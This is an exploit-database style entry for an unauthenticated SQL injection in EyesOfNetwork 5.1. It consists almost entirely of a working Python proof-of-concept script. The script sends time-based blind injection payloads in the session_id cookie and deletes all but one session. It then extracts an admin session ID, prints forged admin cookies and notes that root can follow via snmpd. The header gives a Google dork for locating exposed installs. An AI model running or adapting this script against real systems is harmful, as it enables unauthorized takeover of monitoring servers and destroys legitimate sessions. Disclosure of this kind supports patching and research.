EyesOfNetwork (EON) 5.1 – SQL Injection
# Exploit Title: EyesOfNetwork (EON) 5.1 Unauthenticated SQL Injection in eonweb leading to remote root # Google Dork: intitle:EyesOfNetwork intext:"sponsored by AXIANS" # Date: 29/03/2017 # Exploit Author: Dany Bach # Vendor Homepage: https://www.eyesofnetwork.com/ # Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.1-x86_64-bin.iso # Version: EyesOfNetwork <= 5.1 # Tested on: EyesOfNetwork 5.1 and 5.0 # CVE: None # Contact: Dany Bach [@ddxhunter, rioru.github.io] # Advisory and description of the complete scenario: https://rioru.github.io/pentest/web/2017/03/28/from-unauthenticated-to-root-supervision.html # Fix: None import time from requests import * from requests.packages.urllib3.exceptions import InsecureRequestWarning packages.urllib3.disable_warnings(InsecureRequestWarning) url = "https://192.168.1.161" print "[!] Proof of Concept for the Unauthenticated SQL Injection in EyesOfNetwork 5.1 (DELETE statement) - Rioru (@ddxhunter)" def getTime(page, cookie=""): start = time.time() get(url+page, verify=False, cookies=dict(session_id=cookie)) end = time.time() return round(end - start, 2) # Getting an initial response time to base our next requests around it initial_time = getTime("/") - 0.01 getTime("/logout.php", "rioru' OR user_id!=1 -- -") print "[+] The initial request time on %s is %f, getting the number of entries, it could take a while..." % (url, initial_time) sleep1_time = getTime("/logout.php", "rioru' OR SLEEP(1)=1337 -- -") if (sleep1_time - initial_time >= 1): count = round(sleep1_time) print "[+] Found %d entries in the [sessions] table, deleting every sessions except one" % count else: print "[-] The table [sessions] seems empty" exit() for i in range(int(count) - 1): getTime("/logout.php", "rioru' OR 1=1 LIMIT 1 -- -") # Get the length session_length = 0 for i in range(12): execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT LENGTH(session_id) FROM DUAL ORDER BY session_id LIMIT 1)="+ str(i+1) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -") if (round(execTime - initial_time) >= 1): session_length = i+1 break if (session_length == 0): print "[-] Couldn't find the length of the session_id" exit() print "[+] Found an admin session length: %d, getting the session_id" % session_length # Get the session_id print "[+] session_id: ", session_id = "" for i in range(session_length): for j in range(10): execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN (SUBSTRING((SELECT session_id FROM DUAL ORDER BY session_id LIMIT 1),"+ str(i+1) +",1)="+ str(j) +") THEN SLEEP(1) ELSE 1 END)=1337 -- -") if (round(execTime - initial_time) >= 1): session_id += str(j) print str(j), break print "\n[+] final session_id: [%s]" % session_id # Get the username execTime = getTime("/logout.php", "rioru' OR (SELECT CASE WHEN ((SELECT user_name FROM users WHERE user_id=1)='admin') THEN SLEEP(1) ELSE 1 END)=1337 -- -") if (round(execTime - initial_time) >= 1): print "[+] Username is [admin]" else: print "[-] Username is not admin, brute force necessary" print "[+] End of the PoC use these cookies to authenticate to Eonweb:" print "session_id: %s;" % session_id print "user_name: %s;" % "admin" print "user_id: %d;" % 1 print "user_limitation: %d;" % 0 print "group_id: %d;" % 1 # Root privileges can be gained using snmpd once authenticated |